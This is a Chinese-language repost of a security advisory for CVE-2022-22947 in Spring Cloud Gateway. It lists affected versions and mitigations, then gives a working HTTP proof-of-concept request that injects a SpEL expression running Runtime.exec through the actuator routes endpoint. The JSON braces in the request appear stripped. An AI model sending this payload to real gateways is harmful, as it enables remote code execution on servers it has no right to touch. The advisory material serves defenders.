Spring-Cloud-Gateway-CVE-2022-22947

Posted 李白你好

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Spring-Cloud-Gateway-CVE-2022-22947相关的知识,希望对你有一定的参考价值。

漏洞描述

Spring Cloud Gateway远程代码执行漏洞的安全公告。该漏洞为当Spring Cloud Gateway启用和暴露 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而远程执行任意代码。

影响版本

Spring Cloud Gateway < 3.1.1 Spring Cloud Gateway < 3.0.7 Spring Cloud Gateway 旧的、不受支持的版本也会受到影响 【安全版本】

Spring Cloud Gateway >= 3.1.1 Spring Cloud Gateway >= 3.0.7

Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。

修复建议

临时修复建议:

如果不需要网关执行器端点,则应通过 management.endpoint.gateway.enabled: false 禁用它。如果需要执行器,则应使用 Spring Security 对其进行保护,请参阅https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security

通用修复建议:

官方已发布安全版本,请及时下载更新,下载地址:https://github.com/spring-cloud/spring-cloud-gateway

漏洞利用


POC

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

  "id": "hacktest",
  "filters": [
    "name": "AddResponseHeader",
    "args": 
      "name": "Result",
      "value": "#new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]\\"id\\").getInputStream()))"
    
  ],
  "uri": "http://example.com"



利用脚本获取

关注公众号后台回复“CVE-2022-22947

以上是关于Spring-Cloud-Gateway-CVE-2022-22947的主要内容,如果未能解决你的问题,请参考以下文章